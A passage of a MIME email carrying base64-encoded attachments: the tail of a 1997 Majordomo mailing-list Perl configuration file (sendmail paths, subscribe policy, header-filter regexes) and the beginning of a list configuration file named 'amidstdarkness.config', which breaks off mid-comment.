IHBhcmVudCBkaXJlY3RvcnkgZm9yIGRpZ2VzdCdzIHF1ZXVlIGFyZWENCiMg RWFjaCBsaXN0IG11c3QgaGF2ZSBhIHN1YmRpcmVjdG9yeSB1bmRlciB0aGlz IGRpcmVjdG9yeSBpbiBvcmRlciBmb3INCiMgZGlnZXN0IHRvIHdvcmsuIEUu Ry4gVGhlIGJibGlzYSBsaXN0IHdvdWxkIHVzZToNCiMgCS91c3IvbG9jYWwv bWFpbC9kaWdlc3QvYmJsaXNhDQojIGFzIGl0cyBkaXJlY3RvcnkuDQojDQok ZGlnZXN0X3dvcmtfZGlyID0gIiRob21lZGlyL2RpZ2VzdC1saXN0cyI7DQoN CiMgJGxvZyAtLSBXaGVyZSBkbyBJIHdyaXRlIG15IGxvZz8NCiMNCiRsb2cg PSAiJGhvbWVkaXIvTG9nIjsNCg0KIyAkc2VuZG1haWxfY29tbWFuZCAtLSBQ YXRobmFtZSB0byB0aGUgc2VuZG1haWwgcHJvZ3JhbQ0KIyAgICAgICAgICAg ICAgICAgICAgICB1c3VhbGx5IC91c3IvbGliL3NlbmRtYWlsLCBidXQgc29t ZSBuZXdlciBCU0Qgc3lzdGVtcw0KIyAgICAgICAgICAgICAgICAgICAgICBz ZWVtIHRvIHByZWZlciAvdXNyL3NiaW4vc2VuZG1haWwNCiMNCiRzZW5kbWFp bF9jb21tYW5kID0gIi91c3IvbGliL3NlbmRtYWlsIjsNCiMgJHNlbmRtYWls X2NvbW1hbmQgPSAiL3Vzci9zYmluL3NlbmRtYWlsIjsNCg0KIyAkbWFpbGVy IC0tIFdoYXQgcHJvZ3JhbSBhbmQgYXJncyBkbyBJIHVzZSB0byBzZW5kIG1h aWwgdG8gdGhlIGxpc3Q/DQojICRib3VuY2VfbWFpbGVyIC0tIFdoYXQgaXMg dXNlZCB0byBzZW5kIG1haWwgYW55d2hlcmUgZWxzZT8NCiMgVGhlIHZhcmlh YmxlcyAkdG8sICRmcm9tLCAkc3ViamVjdCwgYW5kICRzZW5kZXIgY2FuIGJl IGludGVycG9sYXRlZCBpbnRvDQojIHRoaXMgY29tbWFuZCBsaW5lLiAgTm90 ZSwgaG93ZXZlciwgdGhhdCB0aGUgJHRvLCAkZnJvbSwgYW5kICRzdWJqZWN0 DQojIHZhcmlhYmxlcyBtYXkgYmUgcHJvdmlkZWQgYnkgdGhlIHBlcnNvbiBz ZW5kaW5nIG1haWwsIGFuZCBtdWNoIG1pc2NoaWVmDQojIGNhbiBiZSBoYWQg YnkgcGxheWluZyB3aXRoIHRoaXMgdmFyaWFibGUuICBJdCBpcyBwZXJmZWN0 bHkgc2FmZSB0byB1c2UNCiMgJHNlbmRlciwgYnV0IHRoZSBvdGhlcnMgYXJl IGluc2VjdXJlLg0KIw0KIyBTZW5kbWFpbCBvcHRpb24gLW9pOiAgRG8gbm90 IHRha2UgYSAuIG9uIGEgbGluZSBieSBpdHNlbGYgYXMgdGhlIG1lc3NhZ2UN CiMJCQl0ZXJtaW5hdG9yLg0KIyBTZW5kbWFpbCBvcHRpb24gLW9lZTogRm9y Y2Ugc2VuZG1haWwgdG8gZXhpdCB3aXRoIGEgemVybyBleGl0IHN0YXR1cyBp Zg0KIwkJCWlmIGl0J3Mgbm90IGdvaW5nIHRvIGdpdmUgdXNlZnVsIGluZm9y bWF0aW9uLg0KIw0KJG1haWxlciA9ICIkc2VuZG1haWxfY29tbWFuZCAtb2kg LW9lZSAtZlwkc2VuZGVyIjsNCiRib3VuY2VfbWFpbGVyID0gIiRzZW5kbWFp bF9jb21tYW5kIC1vaSAtb2VlIC1mXCRzZW5kZXIgLXQiOw0KDQojIFlvdSBj YW4gc3BlY2lhbCBjYXNlIHRoZSBtYWlsZXIgdXNlZCB0byBkZWxpdmVyIG91 dGJvdW5kIG1haWwgYXMgZm9sbG93czoNCiMNCiMgVG8gdXNlIFRMQiBhbmQg dXNlIG5vIG91dGdvaW5nIGFsaWFzOg0KIyBpZiAoJG1haW4ncHJvZ3JhbV9u YW1lIGVxICdtal9yZXNlbmQnICYmICRvcHRfbCBlcSAndGVzdC1saXN0Jykg ew0KIyAgICRtYWlsZXIgPSAiL3Vzci9sb2NhbC9tYWpvcmRvbW8vdGxiIC91 c3IvbG9jYWwvbGlzdHMvJHtvcHRfbH0udGxiIjsNCiMgfQ0KIw0KIyBUbyB1 c2UgYSBkaWZmZXJlbnQgU2VuZG1haWwgcXVldWUgZm9yIHRoaXMgbGlzdCdz IG1haWw6DQojIGlmICgkbWFpbidwcm9ncmFtX25hbWUgZXEgJ21qX3Jlc2Vu ZCcgJiYgJG9wdF9sIGVxICd0ZXN0LWxpc3QnKSB7DQojICAgJG1haWxlciA9 ICIkc2VuZG1haWxfY29tbWFuZCAtb1EgL3Zhci9zcG9vbC9saXN0cSAtZlwk c2VuZGVyIjsNCiMgfQ0KDQojIFlvdSBjYW4gZm9yY2UgTWFqb3Jkb21vIHRv IGRlbGF5IGFueSBwcm9jZXNzaW5nIGlmIHRoZSBzeXN0ZW0gbG9hZCBpcyB0 b28NCiMgaGlnaCBieSB1bmNvbW1lbnRpbmcgdGhlIGZvbGxvd2luZyBsaW5l cy4gIFRISVMgT05MWSBXT1JLUyBpZiB5b3VyICJ1cHRpbWUiIA0KIyBjb21t YW5kICh1c3VhbGx5IGZvdW5kIGluIC91c3IvYmluL3VwdGltZSBvciAvdXNy L2JzZC91cHRpbWUpIA0KIyByZXR1cm5zIGEgc3RyaW5nIGxpa2U6DQojICAg NToyM3BtICB1cCAgNTo1MSwgIDkgdXNlcnMsICBsb2FkIGF2ZXJhZ2U6IDAu MTksIDAuMjUsIDAuMzMNCiMNCiMkbWF4X2xvYWRhdmcgPSAxMDsgICAgICAg ICAgICAgICAgICMgQ2hvb3NlIHRoZSBtYXhpbXVtIGFsbG93ZWQgbG9hZA0K Iw0KIyR1cHRpbWUgPSBgL3Vzci9iaW4vdXB0aW1lYCBpZiAteCAnL3Vzci9i aW4vdXB0aW1lJzsgICAgICMgR2V0IHN5c3RlbSB1cHRpbWUNCiMkdXB0aW1l ID0gYC91c3IvYnNkL3VwdGltZWAgaWYgLXggJy91c3IvYnNkL3VwdGltZSc7 ICAgICAjIG9yIHVwdGltZSBpcyBvdmVyIGhlcmUuDQojDQojKCRhdmdfMV9t aW51dGUsICRhdmdfNV9taW51dGVzLCAkYXZnXzE1X21pbnV0ZXMpID0gDQoj ICAgICR1cHRpbWUgPX4gL2F2ZXJhZ2U6XHMrKFxTKyksXHMrKFxTKyksXHMr KFxTKykvOw0KIw0KI2V4aXQgNzUgaWYgKCRhdmdfMTVfbWludXRlcyA+PSAk bWF4X2xvYWRhdmcpOyAgICAgICAgICAgIyBFX1RFTVBGQUlMDQojDQoNCiMg U2V0IHRoZSBkZWZhdWx0IHN1YnNjcmliZSBwb2xpY3kgZm9yIG5ldyBsaXN0 cyBoZXJlLiAgDQojIElmIG5vdCBkZWZpbmVkLCBkZWZhdWx0cyB0byAib3Bl biIsIGJ1dCBpbiB0b2RheSdzIGluY3JlYXNpbmdseQ0KIyBpbWJlY2lsZSBJ bnRlcm5ldCwgIm9wZW4rY29uZmlybSIgb3IgImF1dG8rY29uZmlybSIgaXMg YSB3aXNlcg0KIyBjaG9pY2UgZm9yIHB1YmxpY2x5IGF2YWlsYWJsZSBNYWpv cmRvbW8gc2VydmVycy4NCiMNCiRjb25maWcnZGVmYXVsdF9zdWJzY3JpYmVf cG9saWN5ID0gIm9wZW4rY29uZmlybSI7DQoNCiMgDQojICBDb25maWd1cmUg WDQwMCBwYXJzaW5nIGhlcmUuICBUaGlzIGlzIGZ1bmN0aW9uYWwsIGJ1dCBu b3Qgd2VsbCB0ZXN0ZWQgDQojICBhbmQgcmF0aGVyIGEgaGFjay4NCiMgIEJ5 IGRlZmF1bHQgYWxsIGFkZHJlc3NlcyB0aGF0IGxvb2sgeDQwMC1pc2ggd2ls bCBiZSBjaGVja2VkIGZvciBhIA0KIyAgQCBzaWduIChtZWFuaW5nIHRoYXQg aXQncyBoZWFkZWQgdG8gYW4gc210cC0+eDQwMCBnYXRld2F5LCBhcyB3ZWxs DQojICBhcyB0aGUgJ2M9JyBhbmQgJ2FbZG1dPScgcGFydHMsIHdoaWNoIG1l YW4gc29tZXRoaW5nIGFzIHdlbGwuDQojDQojICBJZiB5b3Ugd2lsbCBiZSBy ZWNlaXZpbmcgeDQwMCBzdHlsZSByZXR1cm4gYWRkcmVzc2VzIHRoYXQgZG8g bm90IGhhdmUNCiMgIGFuIEAgc2lnbiBpbiB0aGVtIGluZGljYXRpbmcgYW4g c210cC0+eDQwMCBnYXRld2F5LCBzZXQgJG5vX3g0MDBhdCB0byAxLg0KIyAg T3RoZXJ3aXNlLCBsZWF2ZSAkbm9feDQwMCBhdCAwLg0KIw0KJG5vX3g0MDBh dCA9IDA7DQojDQojICBJZiB5b3Ugd2lsbCBiZSByZWNlaXZpbmcgeDQwMCBh ZGRyZXNzZXMgd2l0aG91dCB0aGUgYz0gb3IgYVtkbV09IHBhcnRzDQojICBz ZXQgdGhlICRub190cnVlX3g0MDAgdmFyaWFibGUgdG8gMS4gIFRoaXMgd2ls bCBkaXNhYmxlIGNoZWNraW5nIGZvcg0KIyAgICJjPSIgYW5kICJhW2RtXT0i IHBpZWNlcy4NCiMNCiRub190cnVlX3g0MDAgPSAwOw0KDQoNCiMtLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLQ0KIyAgICBTdHVmZiBiZWxvdyBoZXJlIGlzbid0 IGNvbW1vbmx5IGNoYW5nZWQuLi4uDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0NCiMNCiMgTWFqb3Jkb21vIHdpbGwgbG9vayBmb3IgImdldCIgYW5kICJp bmRleCIgZmlsZXMgcmVsYXRlZCB0byAkbGlzdCBpbg0KIyBkaXJlY3Rvcnkg IiRmaWxlZGlyLyRsaXN0JGZpbGVkaXJfc3VmZml4Iiwgc28gc2V0ICRmaWxl ZGlyIGFuZA0KIyAkZmlsZWRpcl9zdWZmaXggYXBwcm9wcmlhdGVseS4gIEZv ciBpbnN0YW5jZSwgdG8gbG9vayBpbg0KIyAvdXNyL2xvY2FsL21haWwvZmls ZXMvJGxpc3QsIHVzZToNCiMgICAkZmlsZWRpciA9ICIvdXNyL2xvY2FsL21h aWwvZmlsZXMiOw0KIyAgICRmaWxlZGlyX3N1ZmZpeCA9ICIiOwkJIyBlbXB0 eSBzdHJpbmcNCiMgb3IgdG8gbG9vayBpbiAkbGlzdGRpci8kbGlzdC5hcmNo aXZlLCB1c2U6DQojICAgJGZpbGVkaXIgPSAiJGxpc3RkaXIiOw0KIyAgICRm aWxlZGlyX3N1ZmZpeCA9ICIuYXJjaGl2ZSI7DQoNCiRmaWxlZGlyID0gIiRs aXN0ZGlyIjsNCiRmaWxlZGlyX3N1ZmZpeCA9ICIuYXJjaGl2ZSI7DQoNCiMg V2hhdCBjb21tYW5kIHNob3VsZCBJIHVzZSB0byBwcm9jZXNzIGFuICJpbmRl eCIgcmVxdWVzdD8NCiMNCiRpbmRleF9jb21tYW5kID0gIi9iaW4vbHMgLWxS TCI7DQoNCiMgSWYgeW91IHdhbnQgdG8gdXNlIEZUUE1BSUwsIHJhdGhlciB0 aGFuIGxvY2FsIGFjY2VzcywgZm9yIGZpbGUgdHJhbnNmZXINCiMgYW5kIGFj Y2VzcywgZGVmaW5lIHRoZSBmb2xsb3dpbmc6DQojICAgJGZ0cG1haWxfYWRk cmVzcyA9ICJmdHBtYWlsXEBkZWN3cmwuZGVjLmNvbSI7DQojICAgJGZ0cG1h aWxfbG9jYXRpb24gPSAiRlRQLiR3aGVyZWFtaSI7DQoNCiMgaWYgeW91IHdh bnQgdGhlIHN1YmplY3Qgb2YgdGhlIHJlcXVlc3QgdG8gYmUgaW5jbHVkZWQg YXMgcGFydCBvZiB0aGUNCiMgc3ViamVjdCBvZiB0aGUgcmVwbHkgKHVzZWZ1 bCB3aGVuIGF1dG9tYXRpY2FsbHkgdGVzdGluZywgb3Igc3VibWl0dGluZw0K IyBtdWx0aXBsZSBjb21tYW5kIHNldHMpLCBzZXQgJHJldHVybl9zdWJqZWN0 IHRvIDEuDQojDQokcmV0dXJuX3N1YmplY3QgPSAxOw0KDQojIElmIHlvdSBh cmUgdXNpbmcgbWFqb3Jkb21vIGF0IHRoZSAtcmVxdWVzdCBhZGRyZXNzLCBz ZXQgdGhlDQojIGZvbGxvd2luZyB2YXJpYWJsZSB0byAxLiBUaGlzIGFmZmVj dHMgdGhlIHdlbGNvbWUgbWVzc2FnZSB0aGF0IGlzDQojIHNlbnQgdG8gYSBu ZXcgc3Vic2NyaWJlciBhcyB3ZWxsIGFzIHRoZSBoZWxwIHRleHQgdGhhdCBp cyBnZW5lcmF0ZWQuDQojDQokbWFqb3Jkb21vX3JlcXVlc3QgPSAwOw0KDQoj IElmIHlvdSBoYXZlIGxpc3RzIHRoYXQgaGF2ZSB3aG8gdHVybmVkIG9mZiwg YnV0IHN0aWxsIGFsbG93IHdoaWNoDQojIHJlcXVlc3RzIHRvIHdvcmsgZm9y IHN1YnNjcmliZWQgbWVtYmVycywgYW5kIHlvdSBkb24ndCB3YW50IHRvIGhh dmUNCiMgIndoaWNoIEAiIHRvIGFjdCBsaWtlIGEgd2hvLCB0aGUgdmFyaWFi bGUgJG1heF93aGljaF9oaXRzIHNldHMgdGhlDQojIG51bWJlciBvZiBoaXRz IHRoYXQgYXJlIGFsbG93ZWQgdXNpbmcgd2hpY2ggYmVmb3JlIGFuIGVycm9y IGlzIHJldHVybmVkLg0KIyBBcmd1YWJseSB0aGlzIHNob3VsZCBiZSBhIHBl ciBsaXN0IHNldHRhYmxlIG51bWJlci4NCiMNCiRtYXhfd2hpY2hfaGl0cyA9 IDA7DQoNCiMgU2V0IHRoZSB1bWFzayBmb3IgdGhlIHByb2Nlc3MuIFVzZWQg dG8gc2V0IGRlZmF1bHQgZmlsZSBzdGF0dXMgZm9yDQojIGNvbmZpZyBmaWxl Lg0KIw0KdW1hc2soMDA3KTsNCiRjb25maWdfdW1hc2sgPSAwMDc7DQoNCiMg ZG9uJ3QgY2hhbmdlIHRoaXMuIEl0IGNoZWNrcyB0byBtYWtlIHN1cmUgdGhh dCB5b3UgaGF2ZSBhIG5ldyBlbm91Z2gNCiMgdmVyc2lvbiBvZiBwZXJsIHRv IHJ1biBtYWpvcmRvbW8uIEl0IGlzIGluIGhlcmUgYmVjYXVzZSB0aGlzIGZp bGUgaXMNCiMgdXNlZCBieSBhbG1vc3QgYWxsIG9mIHRoZSBtYWpvcmRvbW8g cHJvZ3JhbXMuDQojDQpkaWUgIlBlcmwgdmVyc2lvbiAkXSB0b28gb2xkXG4i IGlmICgkXSA8IDQuMDE5KTsNCg0KIyB0aGUgc2FmZSBsb2NhdGlvbnMgZm9y IGFyY2hpdmUgZGlyZWN0b3JpZXMNCiMgTm9uZSBvZiB0aGUgcGFyYW1ldGVy cyB0aGF0IHVzZSBzYWZlZGlycyBhcmUgYWN0dWFsbHkgdXNlZCwgc28gDQoj IEBzYWZlZGlycyBpcyBhIHBsYWNlaG9sZGVyIGZvciBmdXR1cmUgZnVuY3Rp b25hbGl0eS4gDQojIEp1c3QgaWdub3JlIGl0IGZvciB2ZXJzaW9uIDEuOTAg dGhyb3VnaCAxLjk0Lg0KIw0KQHNhZmVkaXJzID0gKCApOw0KDQojIERpcmVj dG9yeSB3aGVyZSByZXNlbmQgdGVtcG9yYXJpbHkgcHV0cyBpdHMgcmV3cml0 dGVuIG91dHB1dCBtZXNzYWdlLg0KIyBGb3IgdGhlIHBhcmFub2lkLCB0aGlz IGNvdWxkIGJlIGNoYW5nZWQgdG8gYSBkaXJlY3RvcnkgdGhhdCBvbmx5DQoj IG1ham9yZG9tbyBoYXMgci93IHBlcm1pc3Npb24gdG8uDQojIFVzZXMgdGhl IGVudmlyb25tZW50IHZhcmlhYmxlIFRNUERJUiwgc2luY2UgdGhhdCdzIHBy ZXR0eSBjb21tb24NCiMNCiRUTVBESVIgPSAkRU5WeydUTVBESVInfSB8fCAi L3Vzci90bXAiOw0KDQojIFR1bmUgaG93IGxvbmcgc2V0X2xvY2sgdHJpZXMg dG8gb2J0YWluIGEgbG9jayBiZWZvcmUgZ2l2aW5nIHVwLiBFYWNoDQojIGF0 dGVtcHQgd2FpdHMgMSB0byAxMCBzZWNvbmRzIGJlZm9yZSB0cnlpbmcgYWdh aW4gYW5kIHdhaXR0aW1lIGlzDQojIHRoZSB0b3RhbCBtaW5pbXVtIHRpbWUg c3BlbnQgdHJ5aW5nLiBUaGlzIGRlZmF1bHRzIHRvIDYwMCBzZWNvbmRzICg1 DQojIG1pbnV0ZXMpLCB3aGljaCB0cmFuc2xhdGVzIHRvIG5vIGxlc3MgdGhl biA2MCBub3IgbW9yZSB0aGFuIDYwMCB0cmllcy4NCiMNCiMgJHNobG9jayd3 YWl0dGltZSA9IDEyMDA7DQoNCiMgdHVuZSB0aGUgY29va2llIGZvciBzdWJz Y3JpYmVfcG9saWN5PWNvbmZpcm0uICBOb3JtYWxseSB0aGlzIGlzDQojIHNl dCB0byAkaG9tZWRpci4gICpEb24ndCogbWFrZSB0aGlzIHNvbWV0aGluZyBs aWtlIHJhbmQoNDAwKSwgDQojIHRoZSBrZXkgaXNuJ3Qgc2F2ZWQgYmV0d2Vl biBzZXNzaW9ucy4NCiMNCiMgJGNvb2tpZV9zZWVkID0gIkhhcnJ5IFRydW1h biwgRG9yaXMgRGF5LCBSZWQgQ2hpbmEsIEpvaG5uaWUgUmF5IiAuIA0KIyAi IFNvdXRoIFBhY2lmaWMsIFdhbHRlciBXaW5jaGVsbCwgSm9lIERpTWFnZ2lv IjsNCg0KIyBUaGUgbWF4aW11bSBjaGFyYWN0ZXIgbGVuZ3RoIG9mIHRoZSBo ZWFkZXIgbGluZXMgZm9yIHJlc2VuZA0KIw0KJE1BWF9IRUFERVJfTElORV9M RU5HVEggPSAxMjg7DQoNCiMgVGhlIG1heGltdW0gY2hhcmFjdGVyIGxlbmd0 aCBvZiB0aGUgX2VudGlyZV8gaGVhZGVyIGZvciByZXNlbmQNCiMNCiRNQVhf VE9UQUxfSEVBREVSX0xFTkdUSCA9IDEwMjQ7DQoNCiMgTGlzdCBvZiBwZXJs IHJlZ3VsYXIgZXhwcmVzc2lvbnMgdGhhdCwgaWYgZm91bmQgaW4gdGhlIGhl YWRlcnMgb2YgYSBtZXNzYWdlLA0KIyB3aWxsIGNhdXNlIHRoZSBtZXNzYWdl IHRvIGJlIGJvdW5jZWQgdG8gdGhlIGxpc3QgYXBwcm92ZXIuDQojIFB1dCBl YWNoIHJlZ3VsYXIgZXhwcmVzc2lvbiBvbiBhIHNlcGFyYXRlIGxpbmUgYmVm b3JlIHRoZSAiRU5EIiBtYXJrLCB3aXRoDQojIG5vIHRyYWlsaW5nICI7Ig0K IyBGb3IgZXhhbXBsZToNCiMgICAkZ2xvYmFsX3RhYm9vX2hlYWRlcnMgPSA8 PCdFTkQnOw0KIyAgIC9eZnJvbTouKnRyb3VibGVcQGhhc3NsZVwubmV0L2kN CiMgICAvXnN1YmplY3Q6Lipub24tZGVsaXZlcnkgbm90aWNlL2kNCiMgICBF TkQNCiMgTk9URSEgVXNpbmcgJyBpbnN0ZWFkIG9mICIgaW4gdGhlICdFTkQn IGlzIFZFUlkgSU1QT1JUQU5UISEhDQojDQoNCiMgQWRtaW5pc3RyYXRpdmUg Y2hlY2tzLiAgVGhlc2UgdXNlZCB0byBiZSBidXJpZWQgaW4gdGhlIHJlc2Vu ZCBjb2RlDQojDQokYWRtaW5faGVhZGVycyA9IDw8J0VORCc7DQovXnN1Ympl Y3Q6XHMqc3Vic2NyaWJlXGIvaQ0KL15zdWJqZWN0OlxzKnVuc3Vic2NyaWJl XGIvaQ0KL15zdWJqZWN0OlxzKnVuc1x3KmIvaQ0KL15zdWJqZWN0OlxzKi4q dW4tc3ViL2kNCi9ec3ViamVjdDpccypoZWxwXGIvaQ0KL15zdWJqZWN0Olxz LipcYmNoYW5nZVxiLipcYmFkZHJlc3NcYi9pDQovXnN1YmplY3Q6XHMqcmVx dWVzdFxiKC4qXGIpP2FkZGl0aW9uXGIvaQ0KL15zdWJqZWN0OlxzKmNhbmNl bFxiL2kNCkVORA0KDQojIENvbW1vbiB0aGluZ3MgdGhhdCBwZW9wbGUgc2Vu ZCB0byB0aGUgd3JvbmcgYWRkcmVzcy4NCiMgVGhlc2UgYXJlIGNhdWdodCBp biB0aGUgZmlyc3QgMTAgbGluZXMgb2YgdGhlIG1lc3NhZ2UgYm9keSANCiMg aWYgJ2FkbWluaXN0cml2aWEnIGlzIHR1cm5lZCBvbiBhbmQgdGhlIG1lc3Nh Z2UgaXNuJ3QgbWFya2VkIGFwcHJvdmVkLg0KIw0KIyBUaGUgY29kZSB0aGF0 IGNhdGNoZXMgdGhpcyBzaG91bGQgdHJhbnNwYXJlbnRseSByZWRpcmVjdCAN CiMgbWFqb3Jkb21vIGNvbW1hbmRzIHRvIG1ham9yZG9tby4gIFRoYXQgd291 bGQgZ2l2ZSB0aGUgYWRkaXRpb25hbA0KIyBhZHZhbnRhZ2Ugb2Ygbm90IGhh dmluZyB0byBhZGQgdG8gdGhpcyBzaWxseSBjb25zdHJ1Y3QgZm9yDQojIGVh Y2ggbmV3IG1ham9yZG9tbyBjb21tYW5kLg0KIw0KJGFkbWluX2JvZHkgPSA8 PCdFTkQnOw0KL1xiY2FuY2VsXGIvaQ0KL1xiYWRkIG1lXGIvaQ0KL1xiZGVs ZXRlIG1lXGIvaQ0KL1xicmVtb3ZlXHMrbWVcYi9pDQovXGJjaGFuZ2VcYi4q XGJhZGRyZXNzXGIvDQovXGJzdWJzY3JpYmVcYi9pDQovXnN1YlxiL2kNCi9c YnVuc3Vic2NyaWJlXGIvaQ0KL151bnN1YlxiL2kNCi9cYnVuc1x3KmIvaQ0K L15ccypoZWxwXHMqJC9pDQovXlxzKmluZm9ccyokL2kNCi9eXHMqaW5mb1xz K1xTK1xzKiQvaQ0KL15ccypsaXN0c1xzKiQvaQ0KL15ccyp3aGljaFxzKiQv aQ0KL15ccyp3aGljaFxzK1xTK1xzKiQvaQ0KL15ccyppbmRleFxzKiQvaQ0K L15ccyppbmRleFxzK1xTK1xzKiQvaQ0KL15ccyp3aG9ccyokL2kNCi9eXHMq d2hvXHMrXFMrXHMqJC9pDQovXlxzKmdldFxzK1xTK1xzKiQvaQ0KL15ccypn ZXRccytcUytccytcUytccyokL2kNCi9eXHMqYXBwcm92ZVxiL2kNCi9eXHMq cGFzc3dkXGIvaQ0KL15ccypuZXdpbmZvXGIvaQ0KL15ccypjb25maWdcYi9p DQovXlxzKm5ld2NvbmZpZ1xiL2kNCi9eXHMqd3JpdGVjb25maWdcYi9pDQov XlxzKm1rZGlnZXN0XGIvaQ0KRU5EDQoNCiMgdGFib28gaGVhZGVycyB0byBj YXRjaA0KIw0KJGdsb2JhbF90YWJvb19oZWFkZXJzID0gPDwnRU5EJzsNCi9e c3ViamVjdDogbmRuOiAvaQ0KL15zdWJqZWN0OlxzKlJDUFQ6L2kNCi9ec3Vi amVjdDpccypEZWxpdmVyeSBDb25maXJtYXRpb25cYi9pDQovXnN1YmplY3Q6 XHMqTk9OLURFTElWRVJZIG9mOi9pDQovXnN1YmplY3Q6XHMqVW5kZWxpdmVy YWJsZSBNZXNzYWdlXGIvaQ0KL15zdWJqZWN0OlxzKlJlY2VpcHQgQ29uZmly bWF0aW9uXGIvaQ0KL15zdWJqZWN0OlxzKkZhaWxlZCBtYWlsXGIvaQ0KL15z dWJqZWN0OlxzKlJldHVybmVkIG1haWxcYi9pDQovXnN1YmplY3Q6XHMqdW5h YmxlIHRvIGRlbGl2ZXIgbWFpbFxiL2kNCi9ec3ViamVjdDpccy4qXGJhd2F5 IGZyb20gbXkgbWFpbFxiL2kNCi9ec3ViamVjdDpccypBdXRvcmVwbHkvaQ0K RU5EDQoNCiMgVGFib28gYm9keSBjb250ZW50cyB0byBjYXRjaCBhbmQgZm9y d2FyZCB0byB0aGUgYXBwcm92YWwgYWRkcmVzcw0KIw0KIyBGb3IgZXhhbXBs ZToNCiMgICAkZ2xvYmFsX3RhYm9vX2JvZHkgPSA8PCdFTkQnOw0KIyAgIC90 YWJvbyB0b3BpYy9pDQojICAgL2Fub3RoZXIgdGFib28vaQ0KIyAgIEVORA0K IyBOT1RFISBVc2luZyAnIGluc3RlYWQgb2YgIiBpbiB0aGUgbmV4dCBsaW5l IGlzIFZFUlkgSU1QT1JUQU5UISEhDQojDQokZ2xvYmFsX3RhYm9vX2JvZHkg PSA8PCdFTkQnOw0KRU5EDQoNCiMgTWFqb3Jkb21vIHdpbGwgbm90IHNlbmQg cmVwbGllcyB0byBhZGRyZXNzZXMgd2hpY2ggbWF0Y2ggdGhpcy4NCiMgVGhl IG1hdGNoIGlzIGRvbmUgY2FzZS1pbnNlbnNpdGl2ZWx5Lg0KJG1ham9yZG9t b19kb250X3JlcGx5ID0gJyhtYWlsZXItZGFlbW9ufHV1Y3B8bGlzdHNlcnZ8 bWFqb3Jkb21vfGxpc3Rwcm9jKVxAJzsNCg0KMTsNCiMgJEhlYWRlcjogL3Nv dXJjZXMvY3ZzcmVwb3MvbWFqb3Jkb21vL3NhbXBsZS5jZix2IDEuMzQgMTk5 Ny8wOC8yNyAxNTowMDozMSBjd2lsc29uIEV4cCAkDQo= ---559023410-15952070-908280313=:3779 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="amidstdarkness.config" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: list config file Content-Disposition: ATTACHMENT; FILENAME="amidstdarkness.config" IyBUaGUgY29uZmlndXJhdGlvbiBmaWxlIGZvciBhIG1ham9yZG9tbyBtYWls aW5nIGxpc3QuDQojIENvbW1lbnRzIHN0YXJ0IHdpdGggdGhlIGZpcnN0ICMg b24gYSBsaW5lLCBhbmQgY29udGludWUgdG8gdGhlIGVuZA0KIyBvZiB0aGUg bGluZS4gVGhlcmUgaXMgbm8gd2F5IHRvIGVzY2FwZSB0aGUgIyBjaGFyYWN0 ZXIuIFRoZSBmaWxlDQojIHVzZXMgZWl0aGVyIGEga2V5ID0gdmFsdWUgZm9y IHNpbXBsZSAoaS5lLiBhIHNpbmdsZSkgdmFsdWVzLCBvciB1c2VzDQojIGEg aGVyZSBkb2N1bWVudA0KIyAgICAga2V5IDw8IEVORCANCiMgICAgIHZhbHVl IDENCiMgICAgIHZhbHVlIDINCiMgICAgIFsgbW9yZSB2YWx1ZXMgMSBwZXIg bGluZV0NCiMgICAgIEVORCANCiMgZm9yIGluc3RhbGxpbmcgbXVsdGlwbGUg dmFsdWVzIGluIGFycmF5IHR5cGVzLiBOb3RlIHRoYXQgdGhlIGhlcmUNCiMg ZG9jdW1lbnQgZGVsaW1pdGVyIChFTkQgaW4gdGhlIGV4YW1wbGUgYWJvdmUp IG11c3QgYmUgdGhlIHNhbWUgYXQgdGhlIGVuZA0KIyBvZiB0aGUgbGlzdCBv ZiBlbnRyaWVzIGFzIGl0IGlzIGFmdGVyIHRoZSA8PCBjaGFyYWN0ZXJzLg0K IyBXaXRoaW4gYSBoZXJlIGRvY3VtZW50LCB0aGUgIyBzaWduIGlzIE5PVCBh IGNvbW1lbnQgY2hhcmFjdGVyLg0KIyBBIGJsYW5rIGxpbmUgaXMgYWxsb3dl ZCBvbmx5IGFzIHRoZSBsYXN0IGxpbmUgaW4gdGhlIGhlcmUgZG9jdW1lbnQu DQojDQojIFRoZSB2YWx1ZXMgY2FuIGhhdmUgbXVsdGlwbGUgZm9ybXM6DQoj DQojCWFic29sdXRlX2RpciAtLSBBIHJvb3QgYW5jaG9yZWQgKGkuZSBiZWdp bnMgd2l0aCBhIC8pIGRpcmVjdG9yeSANCiMJYWJzb2x1dGVfZmlsZSAtLSBB IHJvb3QgYW5jaG9yZWQgKGkuZSBiZWdpbnMgd2l0aCBhIC8pIGZpbGUgDQoj CWJvb2wgLS0gY2hvb3NlIGZyb206IHllcywgbm8sIHksIG4NCiMJZW51bSAt LSBPbmUgb2YgYSBsaXN0IG9mIHBvc3NpYmxlIHZhbHVlcw0KIwlpbnRlZ2Vy IC0tIGFuIGludGVnZXIgKHN0cmluZyBtYWRlIHVwIG9mIHRoZSBkaWdpdHMg MC05LA0KIwkJICAgbm8gZGVjaW1hbCBwb2ludCkNCiMJZmxvYXQgLS0gYSBm bG9hdGluZyBwb2ludCBudW1iZXIgd2l0aCBkZWNpbWFsIHBvaW50Lg0KIwly ZWdleHAgLS0gQSBwZXJsIHN0eWxlIHJlZ3VsYXIgZXhwcmVzc2lvbiB3aXRo DQojIAkJICBsZWFkaW5nIGFuZCB0cmFpbGluZyAvJ3MuDQojCXJlc3RyaWN0 X3Bvc3QgLS0gYSBzZXJpZXMgb2Ygc3BhY2Ugb3IgOiBzZXBhcmF0ZWQgZmls ZSBuYW1lcyBpbiB3aGljaA0KIyAgICAgICAgICAgICAgICAgICAgICAgIHRv IGxvb2sgdXAgdGhlIHNlbmRlcnMgYWRkcmVzcw0KIwkgICAgICAgICAgICAo cmVzdHJpY3QtcG9zdCBzaG91bGQgZ28gYXdheSB0byBiZSByZXBsYWNlZCBi eSBhbg0KIwkJICAgICBhcnJheSBvZiBmaWxlcykNCiMJc3RyaW5nIC0tIGFu eSB0ZXh0IHVwIHVudGlsIGEgXG4gc3RyaXBwZWQgb2YNCiMJCSAgbGVhZGlu 